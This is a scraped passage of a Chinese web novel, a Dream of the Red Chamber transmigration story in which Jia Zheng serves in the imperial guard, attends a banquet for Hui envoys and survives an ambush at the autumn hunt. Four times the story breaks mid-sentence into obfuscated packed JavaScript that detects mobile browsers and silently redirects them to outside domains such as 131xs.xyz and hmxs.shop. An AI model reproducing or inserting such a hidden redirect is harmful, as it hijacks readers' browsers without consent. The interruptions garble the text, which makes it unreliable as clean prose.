对哦,谢鲲几人激动得握紧拳头,总要显弄点本事出来,才好让皇上提拔自己么。 林如海也很心动,他实在是热怕了,山庄清静又凉爽,在此读书比去上课的效率高多了。 牛继宗也道,“都留下吧,明儿让人去探望蒋子宁,他要是能动了,也一并接了来,你们练武,我们读书,可别在城里受罪了。” 贾政笑道,“都交给我吧,你们还需要什么,明儿打发人一并送了来。” 把兄弟们留在会仙山庄,贾政赶在天黑前回到家里,次日一早派人把蒋子宁和各府收拾的行李送去山庄,他则在中午之前前往侍卫营当职。 往后三天又轮到了午一班,皇上窝在琼华岛上不肯出来,把小朝会连同政务都搬到岛上,羽林卫也跟着享福,有湖风吹着,中午顶着日头站岗也不会太热。 贾政又是团宠那一级别的,担任守职时向来会被安排在最舒服的位置,今天他就站在广寒殿的正殿外,全程收听了皇上对顺亲王的处置结果。 顺亲王只比太子大两三年,先帝驾崩时他才五岁,是被皇上当儿子养大的。 他的生母继太后在他十五岁那年过世,也不知是谁灌输的,顺亲王一心认定母亲是被皇上害死的,多年积怨加上皇位被抢的不甘,促使他抢先皇子一步,打响了夺位第一枪。 顺亲王从未接受过帝王教育,继太后的娘家也无法给予他支持,对如何夺位全凭幻想,这些年一门心思的搞银子,指望硬砸出一只大军,再效仿明成祖勤王夺得大位。 皇上向朝臣公布顺亲王罪行时一个没绷住,直接笑场了,一干重臣可不敢笑,都咬着舌头强忍着。 顺亲王那孩子打小就能看出不是个聪明的,连篡位这么大的事,他也能做得如此可笑。 皇上笑过了才叹道,“顺亲王虽大逆不道,但终究是先帝骨血,抄没所有非法所得,以后就圈禁在顺亲王府吧,亲王供给减半,众卿意下如何?” 众人都忍着笑点头,生怕一张嘴就笑出声,那傻孩子折腾十来年,不仅自己一点好处没捞着,还给皇上送了好大一笔银子,圈禁就挺好的,看在银子的份上,也不能弄死人家啊。 都察院的左都御史起身问道,“顺亲王已有定论,与其沆瀣一气的官员又当如何处置呢?” 皇上不甚在意的摆手,“把人都找出来,以谋反罪降二等进行处罚。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102205|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贾政站在殿外,被皇上轻描淡写的语气吓出一身冷汗,古代最大的罪名就是谋反,最轻也要三族消消乐,降二等也是重罪,就算不抄家本人也要砍头,全族几代都不能科举入仕,处罚不可谓不重。 晚上回到家,贾代善拿出一份名册,以此来教育两个儿子,“不要以为高枝是好攀的,火中取栗从来都不会有好结果,就像这些人,他们以为只是拿出些许好处巴结媚上,却不知所作所为皆看在上头眼中,一旦被划归到某人一伙,大厦倾颓之际再想独善其身是没可能的。” 贾政和贾赦翻看要受处置的朝廷官员,头一页就是太子身边的人,帮助顺亲王贩卖私盐的首恶竟是太子奶公,难怪薛伯父惊马那天会有东宫车驾和羽林卫同时出现。 翻到第四页,两人同时抽了口气,前任两任两广总都都曾帮顺亲王经营海外贸易,主要的经手人却是同一个官员,正是王氏的父亲王县伯。 贾政早看出老爷不打算放过王家人,却没想到他出手会这么狠辣,亲家牵涉到如此重大的案件中,不会对自家造成影响吗? 他紧张道,“珠儿怎么办?有个被砍头的外祖父,他以后还有入仕的机会吗?” 贾代善白了儿子一眼,“我还能害自己孙子不成?你那岳父只是从犯的从犯,顶多丢爵罢官,砍头还轮不到他。那王子腾狼子野心,最近又是动作频频,谁知道他会牵扯进哪方势力里,一并打发回乡种地去,免得连累到我的珠儿。” 贾政瞠目结舌,王子腾可是未来的京营节度使吔,这就回家种地去了,要不怎么说姜还是老的辣呢,铲除祸患都不带犹豫的。 贾政以为这件事就到此为止了,因顺亲王之故,获罪的官员有二十多人,五个掉了脑袋,其余抄家罢官不等。 王家的罪名列在第三等,夺爵罢官,连带王子腾也被撸去官身,一并回家种地去了。 这件事过后,甄家在七月末前往江南赴任,贾敬原本打算让贾珍跟甄家一道走的,小家伙头一次独自出门,有老亲照顾着全家才能安心。 就在他要前往甄家托付儿子的前一天,贾政在御前听到消息,今年皇上开恩,准许世族子弟共同参与中秋围猎。 贾敬立马打消了这个念头,开始狠抓贾珍骑射,就算不能在围猎期间大放异彩,至少不能给两府丢脸吧。 贾政也给在会仙山庄的好兄弟送去消息,让他们加紧时间准备,能否入皇上的眼,就看这次的表现了。 京中各部门都在等待回部到来,鸿胪寺和会同馆早在在猎场行宫准备好了接待场所,在八月初三这天,终于等到了回部来使。 五天之后,皇上留下太子处理宫中事务,他带上八百羽林卫和五百龙禁卫,三位皇子以及朝堂大小官员,摆驾前往猎场行宫。 贾政因为盘正条顺,被选进了一百近卫,住在行宫的这段日子都要跟皇帝绑定在一起,他老人家但凡磕破点皮,这一百人就得手拉手上法场。 54.第五十四章 行宫 八月初八这天,御驾从大明宫出发,浩浩荡荡往京郊猎场而去。 五百龙禁卫铺开仪仗走在最前方,紧随其后的是宫廷乐师的车驾,一路上演奏宫乐不仅是摆排场,主要作用还在于警示行人,驱赶鸟兽。 第三梯队才是皇帝的御驾,京营府的五城三营各分出一半兵马,官兵把皇帝父子连同羽林卫团团围在当中。 贾政身穿崭新的飞鱼箭袖,骑马走在龙辇前面,与一百近卫守卫在皇帝身侧。 他腰上的绣春刀,马鞍上挂着的六合枪和弓箭都是全新配置,连□□的战马也是从京营府优中选优,人和马精神抖擞,是展现大虞朝上国雄风的门面担当。 跟在龙辇后面的是随驾出宫的妃嫔凤舆,然后才是三皇子和七皇子的车驾,两个娃儿还没册封开府,也被纳入到羽林卫的保护范围之内。 押在最后的是已经封王开府的五皇子司徒衡,他拥有专属的王府指挥使司,此次带出一百官兵守卫王驾,不再需要御前三卫操心他的安全了。 功勋和武官集团紧跟在京营府官兵后方,最后才是随皇帝出行的文官车驾。 此次皇上带了小半朝廷过去,把太子和大半朝臣留在宫中看家,送上来的奏报先由太子处理,重大或紧急事件再送去猎场呈到御前。 太子最近因为奶公的事有点怀疑人生,在他的设想中,奶娘一家就应该像甄家那样,全心全力辅佐他。 结果奶公居然打着他的名号,连手顺亲王在江南贩私盐敛财,还把他卷入蓄养私兵的危机之中,可怜的娃儿从小到大顺风顺水惯了,这次被打击的着实不轻,整个人都差点裂开了。 太子以为皇帝爹怎么也得治他个驭下不严之罪,已经做好在满朝文武面前丢脸的准备了,哪知皇上全当什么事都没发生过,照例还是让他监国看家。 皇上的反常之举让太子更加战战兢兢,生怕亲爹是打算在他监国时设下圈套,抓个大错一举废掉他的太子之位。 朝堂上很多人也有同样的想法,都在思索若是皇上执意废掉太子,他们应当如何取舍,大部分官员都藏着心事,随驾出游也不见半分喜色,御驾后方的气氛十分冷肃。 贾政是少数不受影响的人,他跟在皇上身边近一个月,已经能摸到点他的想法了。 他对太子不满是真,但也没想过现在就换掉他,毕竟最让皇上看好的七皇子年纪还小,母族也无力保护他,还需要太子和前面两个皇子吸引火力呢。 好惨哦,贾政在心里叹气,皇子看似锦衣玉食,私底下的争斗和凶险又岂是外人能了解的。 其实大户人家都差不多,看原著就知道了,为了荣国府那个空架子,一家人还不是斗得乌眼鸡似的。 柳节他们虽从不说家里的事,从透露出来的只言片语也能看出内斗得厉害,也就林如海家消停些,但全家只剩下父子俩,连互为倚仗的近亲都没有,稍微走差一步就是原著的下场,哪个都不容易。 “政兄,不要发呆呀。”带笑的声音在耳边响起,贾政扭头去看,差点被绚烂的笑容晃花眼。 骑马走在他身侧的是十二队的罗浩,他出身一等男爵府,是家中嫡次子。 在贾政进入羽林卫之前,罗浩是无可争义的卫草,长得娃娃脸大眼睛,男生女相,身材也不算高,与清冷似谪仙的贾政是完全不同的类型。 罗浩只是长得可爱,性格却不失男子气概,非常讨厌全卫最帅这个头衔,明明他是全卫箭术最精湛的人,却没人在意他的实力,所有关注点都放在他的脸上了。 自从同样俊美的贾政入职,就吸引走了半数关注他外貌和打着龌龊心思的人。 他一直想当面感谢贾政,并提醒他小心些,可惜两队轮职时一直遇不上,此次两人同时入选了百名近卫,又一起集训三天,总算相互结识了。 贾政对罗浩的印象也很好,看谈吐举止就知道他三观正常,品行端正,还有一手让人惊艳的箭术,得空贾政就拉着他请教。 两大卫草非但没有争斗起来,还相交甚欢,总凑在一起练习箭术,让很多等着看热闹的人大失所望,也让更多人见识到了罗浩的不俗箭术,只要这次围猎不出差错,他很快就能当上小队长了。 罗浩对贾政感激涕零,发现他在走神,赶忙轻声提醒。 贾政回他一个笑,打起精神继续执行守卫职责,其实也没什么可守的,京营府把御驾围得密不透风,除非羽林卫中有人暴起刺驾,外人连接近都没可能。 京郊猎场离得不算远,相当于从北京一环走到五环,不到半日便到了,将皇上护送到行宫正殿,其余就不干百名近卫的事了,留下八十人守在殿内,二十人更衣休息,一个时辰后再换下二十人,以这种方式轮职。 皇上更衣过后坐下吃茶,抬眼就看到站在殿内的贾政,他想了下,问道,“贾政啊,你儿子叫贾珠是不是,也有半岁了吧?” 贾政不明白皇上为何会突然问起珠儿,但还是躬身回道,“回皇上,臣的儿子贾珠是二月十二生辰,再过四天就半岁了。” 皇上笑道,“哎,我还当你们这代还是小孩子呢,一晃眼你们也当爹了,你想过以后给珠儿娶个什么样的媳妇没有?” 贾政懂了,皇上是在为七皇子的亲事发愁,看到他就随口问一句,看能否有点启发。 他想了下,回道,“媳妇要跟珠儿过一辈子,总得找个跟他性格相投的吧,最好是他自己喜欢的人,哪怕出身低点呢,只要小两口感情融洽,把日子过好就行。” 皇上在心中叹息,只接了句,你也是一片爱子之心,便不再开口了。 普通人家找媳妇,肯定要以孩子的喜好为重,没有哪个当父母的愿意看到孩子婚姻不顺,夫妻变成一对怨偶。 但皇家亲事需要考量的方面太多了,尤其小七还是他看好的接班人,要是找个老五媳妇那样的,简直不敢想象。 贾政在心里抹了把冷汗,万分庆幸小妹已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109247|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 订下人家了,要是皇上脑子一抽把贾敏嫁给七皇子,贾家未来可就精彩了,皇子外家哪是那么好当的,弄不好就得给皇子陪葬。 一个时辰过后,贾政被替换下去休息,退出殿外就被同为近卫的江离拉着快步往后殿走,同一批换下来的人都莫名其妙,又不敢在皇帝的地盘上分开行动,只好加紧脚步跟在后面。 回到给他们准备的配殿,大家才知道江离在急什么,这小子膀胱快要憋爆炸了。 队友们都捂着嘴哧哧的笑,贾政打量配殿里的摆设,看物品规制就知道是给底下人准备的歇息地方,但精致华丽也远超国公府正房,不太像主张节俭的先帝和当今的风格。 “这行宫是什么时候修建的?”贾政随口问道。 他以为是前朝后期哪个皇帝盖的,却发现所有人都看着自己,莫名道,“看着我做什么?” 近卫的副首领之一,一大队的副队长金朋诧异道,“你不知道?这行宫原是皇上赐给甄家的庄子,因为离猎场很近,他家就盖成了园子,前后在这里接驾三次呢,后来就直接送给皇上当猎场行宫了,你家不是甄家老亲么,怎么会不知道呢?” 贾政恍然,原著里给元春盖省亲园子前,贾琏奶娘曾说甄家接了四次驾,原来前三次都是在京郊园子接的,现今他们家去了江南,看来在原著开篇之前,皇上又去过一次江南,才有了第四次接驾。 他环顾富丽精美的配殿,再回想金碧辉煌的正殿,冷汗差点冒出来,自家在江南也曾接过一次驾,要是为接驾修建的行宫必须得达到这种标准,还不得把家底给掏空了。 “贾政,你咋啦?”见贾政只发愣不说话,罗浩担心的拉他到榻上坐了,又有人倒了盏茶交到他手上。 贾政接过茶盏,道过谢才笑道,“没事,我突然想起我家也在江南接过驾来着,可惜那时候我太小了,什么都没记住。” 众人都笑了,“小孩子就这样,天大的喜事也是转眼就忘。” 也有人替贾政遗憾,“家里出了那么隆重的喜事,你真的一点印象也没有么?” 贾政可怜巴巴的摇头,大家都替他觉得可惜,那可是接驾啊,把天子迎接到自家款待,够吹几辈子牛了,贾政竟然忘光了。 再看他只是轻轻叹息,都在心里佩服不愧是国公府的公子,再大的事也能端得住,搁他们这会儿已经捶胸顿足,满地打滚了。 贾政心里早就端不住了,洗漱过后回到独立的单间里,整张脸才彻底垮了下来。 宁荣两府发家才几十年,底子本来就薄,哪顶得住接驾的花销,那么问题就来了,如今家里要维护若大一个荣国府,平日也是养尊处优养奴唤婢,花钱如流水,这些银子又是打哪里来的? 贾政抹了把冷汗,想到一种可能,接驾的银子该不会像康熙末年那样,都是从国库里借的吧? 家里究竟借了多少?至今还上几成了?宁荣两府之所以被抄,欠债不还是否也是原因之一? 55.第五十五章 赌气 贾政回忆红楼原著,计算贾家盖大观园究竟花了多少钱,盖园子时林如海已然过世,贾家吃绝户,大概从林家弄了二三百万两。 这些银子即便只拿出半数用于盖园子,再被主子奴才贪去一半,至少也要砸下七八十万两,才能盖出三里半大,用于妃嫔省亲的园子。 自家接的是圣驾,相当于要盖出个行宫来,还要侍奉圣驾及随行人员数日,至少也得百万两打底,才能显得不那么寒酸。 荣国府别看表面赫赫扬扬,是满朝唯一还保有国公爵位的人家,可大部分财产都是先帝赏赐的祖田,或田庄商铺这类不动产,能拿出的现银也就二三十万两,想短时间弄到盖行宫的银子,只有借贷这一种办法。 贾政抱头倒在床上,几十万两的外债,不论是向谁借的,那都是要还的。 问题是从哪里才能弄到这么多银子,自家好歹是国公府,总要顾及脸面排场,老爷太太是不会同意为还银子削减用度的。 家里给贾敏准备的十里红妆统共也就四五万两,他的全部私产也才三万两出头,拿什么还啊。 卖掉田庄店铺无亦于杀鸡取卵,是蠢得不能再蠢的主意,节流的路子走不通,那就只剩下开源了。 穿越者发财三件套,制香皂、烧玻璃、做美食,前两样红楼世界都有了,美食他只会做几样小吃,开小吃店赚不到多少钱不说,家里也丢不起那个脸。 贾政盯着天花板苦笑,他以为解决了兄弟相争,把贾赦引入正途,荣国府从此就能安稳过日子了,没想到还有更深的危机等着他们。 老爷如今简在帝心,荣国府蒸蒸日上,欠了债也没人敢讨,等到衰落的那一天,这笔巨款就是压死骆驼的最后一根稻草。 他拍了两下脸颊,让自己振作起来,欠银只是推测,未必是真的,况且不是还有终极手段么,把简易蒸气机弄出来,再开几个机械工厂,相信军方肯定有能人挖掘出蒸气机的军工价值,到时候把全部技术献上去,抹掉欠款应该不是难事。 贾政强行给自己吃下定心丸,休息过后继续回到皇上身边执行守卫任务,当天晚上,鸿胪光禄太常三寺与会同馆一起举办国宴,宴请回部来使。 回部也称回疆,位于天山南路,是□□教法的统治地区,在贾政上辈子,全国统一了上百年,各族人民不分彼此,都是同胞好兄弟。 在虞朝,回部才归顺三十来年,回鹘、东西喀喇三大势力争斗不断,上百个中小政权还连年互殴,从来就没消停过。 此次来求援的是东喀喇,老王过世,新王镇不住场子,内部争斗,外界又有群狼环伺,若是朝廷不出兵相助,眼看就要分崩离析被分食殆尽了。 东喀喇也知道请朝廷出兵帮自己不是件容易事,在接待国宴上进献了战马三百匹,美女两百名,回部物产宝石和美酒无数。 皇上也很大方,回礼了绫罗绸缎,瓷器珍珠,各色精巧工艺品,都是回部一价难求之物。 东喀喇来使是现任回王的大王子,高鼻深目黑头发,长相结合了东西方特征,造型独特的大胡子对贾政这个轻微脸盲很友好。 他像是早就预料到皇上不会轻易松口,在宴席上表现得轻松又得体,主动提出让王妹给皇帝和诸位大臣献舞,并毫不掩饰的表示若是皇上肯帮东喀喇度过难关,就将这位回部第一美女献给皇上。 贾政就站在御座右下方,位于皇上和司徒衡之间,把两人瞬间的精彩表情看个一清二楚。 满朝文武正在计算出兵回部能换取多少利益呢,结果东喀喇王子不按牌理出牌,上来就要进献王姬,此后再同意出兵那皇上成什么了,色令智昏的昏君吗? 东喀喇王子丝毫未察觉自己的话有何不妥之处,亲自牵着妹妹来到宴会前方的广场,又拍手唤出数十位回部舞娘和乐师,向上坐施礼后奏乐起舞。 贾政绷紧表情移开视线,这时要是不留神笑出来,肯定会被恼羞成怒的皇上穿小鞋的。 他看向广场正中的王姬,她头带宝石花冠,长发辫成许多小辫,每条辫子上也坠有宝石,面覆白纱,只露出一双雾蒙蒙的美目。 乐师奏响回部特色乐曲,她在众多舞娘的簇拥下翩翩起舞,舞步轻盈,腰肢纤柔,亮丽的服饰在旋转中闪闪发光,美得让人移不开视线。 贾政却因为这似曾相识的一幕尴尬的抠脚指,脑子里你是风儿我是沙的曲调来回播放,整个人都快不好了。 没亲身经历之前还不知道那种剧情有多扯,御前侍卫把后宫当大杂院逛,还敢协助妃嫔逃出皇宫,几个脑袋啊敢玩得这么野。 贾政收回视线,正对上司徒衡盯着自己的目光,他莫名其妙的向下面送了个眼神,让他欣赏舞蹈去,有美女不看,看他做什么? 司徒衡的目光又冷了几分,赌气的垂下头,他才不像贾政看到美人就移不开眼呢,就不看,哼! 皇上也没多关注王姬的舞蹈,他坐拥天下几十年,什么美人歌舞没见过,不停扭脖子的动作看久了还有点可怕,担心哪下把脑袋扭下来。 他把司徒衡和贾政的眼神官司看个全程,在心里好笑的叹气。 早发现老五看贾政的眼神不对,同样是男人,又怎会不知他在打什么主意。 要是其他三个儿子,训斥一顿就能让他们打消念头,可老五生性冷漠又执拗,越是不让他干什么,他的执念反倒越深。 反正贾政也不是个肯吃亏的主儿,惹恼了自然会动手修理这小子,皇上冷笑,挨打也是他活该,反正小辈之间的糟心事他是不会管的。 要是哪天这两人真情投意洽了,也不是件坏事,老五打小就过得艰难,连性子都被磨得清冷疏离,有个知心人陪在身边,他也能放心些。 皇上理顺想法,便丢开手不去管了,以老五的敏锐,早看出他最中意的接班人是谁了,保持沉默就是认同的意思。 同样的,他也相信老五喜欢贾政与荣国府无关,这是父子之间才有的默契。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114697|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贾政不知道皇上已经单方面同意他跟司徒衡在一起了,回部王姬的舞蹈过后,教坊司也献上歌舞,衣袖翩翩,如彩蝶飞舞,这才是贾政喜欢的风格,站着看了一个多时辰,直到宴会结束也没觉得累。 晚上贾政职守上半夜,站在寝殿外面都能听到后殿乱糟糟的说话声。 回部进献的其他礼品只用半个时辰就安置妥当了,两百名美女却不能丢进库房里锁着,要给她们安排住处,衣食和侍候的人,那些人还咋咋呼呼的不老实,直闹到快丑时了才安静下来。 内相苏诚累得满头是汗,耷拉着脸走回来,见门口的小内监摆手,示意皇上已经睡下了,这才松了口气。 他挪到贾政身边,小声嘟囔道,“就是群野丫头,一点规矩也没有,这要是都收进宫里,还不得翻天啊。” “应该不会吧,妃嫔还没两百人呢。”贾政也不知道怎么安慰他。 后宫同样在苏诚的管辖范围之内,东西六宫闹得再欢也不干羽林卫的事,他可就惨了。 苏诚打量着贾政,青年长身玉立,在月光下真如玉人一般,他坏笑道,“要不咱家跟圣上提一下,不如把那些回女赏给功勋人家,都是难得的美人呢。” 贾政怒视苏诚,这家伙真是坏透了,他不想要的人就打发到他们家去,万一弄出个混血后代,家里还不得乱套了。 苏诚就喜欢用惹恼人的方式出气,见贾政恼了,他反倒高兴起来,呵呵笑着回去睡觉了。 贾政对这人的恶趣味是有槽无口,又担心皇上真会脑子一抽,给各家赏几个美人,太太肯定会气炸的。 从她对三个庶女的态度就能看出有多厌恶妾室,好不容易把家里的小妾都压服了,皇上又送来几个小妖精,还不得天天跟老爷干仗啊。 他头疼到当职结束,回到配殿发现很多同僚还没睡,都聚在正堂讨论回部献上的美人呢。 安置她们时不当职的羽林卫也去帮忙了,被众多美人迷得神魂颠倒,兴奋到现在都睡不着。 贾政盯着最激动的几个人,脑袋里叮一声,思路一下子就打开了。 皇上要是往家里赏人,他们也可以转送出去么,自家得了好东西,怎么能忘记亲朋呢。 甄家老亲远在江南,肯定得送几个聊表亲近之意,还有老爷过去的部下,这样算下来,两百人都给自家也不够送的。 贾政一肚子坏水,做梦还在咯咯笑,次日当职时看到司徒衡脸色发青,把他吓了一跳。 皇上像是知道儿子为何脸色不好,呵呵笑道,“老五既然身子不爽,今日狩猎就不要参加了。” 三皇子也笑道,“我也不下场了,这天热的略动一动就全身是汗。” 七皇子跟着摇头,“我的骑射比两位兄长差远了,兄长们不去,那我也不献丑了。” 皇上也没有反对的意思,“功勋子弟今日会来不少人,就让羽林卫和他们先热场好了,我们等过几日天气凉快了再下场不迟。” 56.第五十六章 狩猎 中秋狩猎是自大虞立国以来就有的传统,先帝是马上得的天下,很注重保持后代子孙的尚武精神,每年秋猎都办得格外隆重,凡是在猎场上取得好成绩的功勋官员子弟都会被选入军中历练。 当今年轻时也喜欢举办秋猎,近几年体力下降,加上太子不喜骑射,秋猎办得一年不如一年,各家子弟已经四年没参与过秋猎行动了。 贾政前几天待在侍卫营集训,出发前也不曾回家,不知道贾珍和朋友们准备得如何了,直到在集结的队伍里看到谢鲲,收到他一切安好的暗号,才算放下心。 今日是狩猎开始的第一天,在行宫前的广场上举办了隆重的开猎仪式,皇帝和三位皇子坐在高台之上,左侧台坐着东喀剌来使和陪同官员,右侧台上是宗亲勋贵以及众位高官大员。 二十六面大鼓分列在广场两侧,在雄壮的鼓声中,第一场狩猎的七支队伍集结完毕。 七支队伍每队二十人,马鞍上插着七种颜色的旗帜,黄旗是皇室宗亲,人数不足就由监门卫补上。 紫旗是勋贵子弟,文官子弟是青旗,武官子弟是蓝旗,还有橙旗的五城兵马司,绿旗的三大营和红旗的羽林卫。 贾政也被选进了头一批狩猎队,他身披黑色轻甲,牵马站在羽林卫的队伍里,悄悄观察其他六支队伍。 马尚德也站在皇室宗亲的队伍里,见他看过来,笑眯了眼颔首示意。 勋贵队伍中八个公爵府来了七人,贾珍一个人代表宁荣两府,小少年生平第一次亲历这么大的场面,平时的嚣张气焰早被吓到爪哇国去了,挺直脊背一动不敢动。 公爵府之下的侯伯子男有上百家,贾政朋友中唯一入选进开场队伍的只有谢鲲。 贾政在心中叹气,柳节的骑射功夫并不比谢鲲差,可谁让他是庶出呢,虽然从小养在理国公夫人身边倍受宠爱,可自从老夫人过世,他的处境就一日不如一日了,原著中小夫妻早逝,说不定也跟理国公府有关。 剩下那四支队伍就没有贾政认识的人了,只有三四个眼熟的,还记不清是谁家的后辈。 他站在队伍偏后的位置,台上主持开猎仪式的官员说了什么一句也没听清,直到皇上抬起手,一只穿云箭破空拉响哨声,鼓声也随之转为急促。 这是狩猎开始的讯号,贾政跟随前面的队友单膝跪地,高喊遵旨,而后跃身上马,向竖着对应颜色旗帜的猎场奔去。 司徒衡坐在高台上,看着贾政矫健的身影,久久收不回视线。 坐在他下手的七皇子压低声音道,“别看了,打个猎而已,能有什么危险。” 司徒衡白了他一眼,小屁孩懂什么,下次再写不出文章,别指望他帮忙。 七皇子司徒征也想翻白眼,贾政不就是欣赏了一会儿喀喇王姬跳舞么,他至于气得半宿不睡么。 昨儿父亲还问他喜欢哪家姑娘,看五哥这副傻样,如海提到未婚妻时也是一脸傻笑,身边有两个病得不轻的,他敢喜欢上谁啊。 贾政随队进入插着红色旗帜的猎场,深入没多远就看到树丛下卧着一只大锦鸡,他拉弓开箭,一箭将之钉在了树上,队友们哄然叫好,也纷纷拿起弓箭,射杀受到惊吓的鸡群。 第一轮出手就猎到十二只锦鸡,将猎物挂在马鞍上,继续向密林内深入。 附近几座山头都是皇家猎场的范围,有资格在此地打猎的都不喜欢这项运动,还有专人饲养山上的动物,因此猎物十分丰富,还傻乎乎的。 小狍子屁股上挨了贾政一箭,它也不知道逃跑,看看贾政又看看屁股上的箭,大眼睛中全是迷惑。 贾政立时就心软了,无法射出第二箭,卫胜青一箭将之放倒,瞪了眼贾政,冷声道,“跟上。” 贾政深吸口气,从马上俯身捡起小狍子,全队二十人以扇形排开,在划分的猎场区域内扫荡,所遇之物无论大小全部拿下,惊得林中鹰飞兔跑。 鹿群奔逃时惊动了一只大野猪,它追不上动作灵活的梅花鹿,就反过来冲向贾政一伙。 众人大叫来得好,五只六合枪投掷向野猪,在它的闪躲下只有一只扎在后背上。 那野猪得有三四百斤,皮糙肉厚的根本不在乎这点伤,反倒激起了它的凶性,昂昂叫着继续冲锋。 面对这么大一头野猪,除非箭法精湛到能射入眼眶,弓箭已经不管用了,队长管义友呼喝一声,贾政他们立即分成三队,一队在前方诱敌,两队在侧边投掷六合枪。 贾政刚把枪法套路练熟,还没尝试过远程攻击呢,只能学着队友的动作掷出长枪,连续三次都投空了,只好拨马与野猪周旋,找机会把枪捡回来继续尝试。 他们与野猪缠斗了快三刻钟,才把大家伙放倒,贾政在最后关头终于投中一枪,牢牢插在野猪屁股上。 野猪吃痛,一个猛冲撞向大树,插在脖子上的绣春刀被撞断,刀尖划开大动脉,野猪变成红色花洒,伴随着贾政和卫胜青的惊叫倒在地上,彻底凉凉了。 断掉的绣春刀是卫胜青的,他心疼的恨不得再给野猪几拳,贾政是哀叹怎么又是屁股,今天要跟屁股干上了不成。 众人哈哈大笑,这只野猪能抵得上几十只山鸡野兔,此回开猎他们羽林卫赢定了。 就在大家高兴时,变故陡生,贾□□身去拔六合枪的瞬间,一只利箭擦着他的后背射到树上,把所有人都惊出一身冷汗。 “什么人?”队长管义友惊怒,众人也拉开弓箭对准箭射来的方向,前方静悄悄的,连草丛都没摇晃一下,那箭矢好似凭空出现的。 队友们都气坏了,猎野猪时他们都能全身而退,却在结束时遭到其他人偷袭,对准的目标还是贾政,他要是有个好歹,他们要怎么跟荣国公交待? 贾政也很疑惑谁会对自己出手,老爷在官场上向来与人为善,他在羽林卫整日轮职训练,从不曾得罪过什么人,杀掉他还能得到什么好处不成? 他观察前方树林,平平无奇的杨树和高大的杂草,与自己这边并无不同,也没看到射箭之人躲在哪里。 管义友像是发现了什么,突然放出一箭,射到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16123245|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棵大树的藤蔓上,断裂声随之响起,一段成人腰粗的大木桩夹着风声从树顶俯冲而下,撞断了一棵小树才掉到地上。 战马被吓得连连后退,众人也未阻止,直退到百米开外,才有人开口,“对方针对的不是贾政,而是我们全队吗?” 卫胜青冷笑,“是针对我们,更是针对贾政,要不是他突然俯身,那一箭挨定了。” 管义友点头道,“贾政一旦受伤,我们必然方寸大乱,只要再向前几步就会落到对方设下的陷阱里,不死也要重伤。” 二十大队的刘丛拿出怀表,翻看背面的罗盘,“我们一路追击野猪,已经接近东边界线了,在我们东边的是紫旗勋贵子弟的队伍,这是想把羽林卫和勋贵一起拿下啊。” 羽林卫中很多人都出自功勋世族,双方根本没有相互攻击的理由,可要是受伤见血就不同了,上头势必会介入调查,平白无故被怀疑盘问,再深的情谊也会出现裂痕的。 “我们走,远离这个方向,这件事先记下,等回去再慢慢算账。”管义友招呼一声,拿出绳索拖着野猪向西跑去。 安排三个人先送一批猎物回去,他们在山林里狩猎到未时,听到收兵的锣声才收手,带着猎物回到行宫前的广场上。 皇上主持完开猎仪式就回到行宫,先带东喀喇来使逛了园子,中午又开了小宴,直到狩猎将要结束时才回到广场的高台上。 经过两个半时辰的狩猎,七支队伍都人困马乏,收获也各有不同,羽林卫和五城三营的猎物数量差不多,质量也相差无几。 羽林卫有一大一小两头野猪,五城兵马司猎到一头大黑熊,三营是两只巨大的驼鹿,很难说哪个猎杀的难度最高。 其他四支队伍就要逊色许多,猎物最多的是武官子弟,其次是勋贵子弟,皇室宗亲全靠五名监门卫充门面,猎物数量排在倒数第二。 文官子弟的猎物最少也最特别,大部分都是活的,伤得最重的几只还被包扎治疗过。 皇上先是赞扬了猎物最多的三只队伍,又对宗亲功勋和武官子弟勉励几句,再扫了眼文官子弟的收获,最后把目光落到礼部尚书身上。 “我记得从前文官子弟也甚是勇武,君子六艺,礼乐射御书数哪样都不差,还曾在开猎时拔得过几次头筹,怎的才几年没参加秋猎,竟差了这么多。” 礼部尚书是本朝大儒,主持过几次春闱,朝中很多官员都是他的门生,文官子弟队伍的领队是他长孙,皇上并没有问错人。 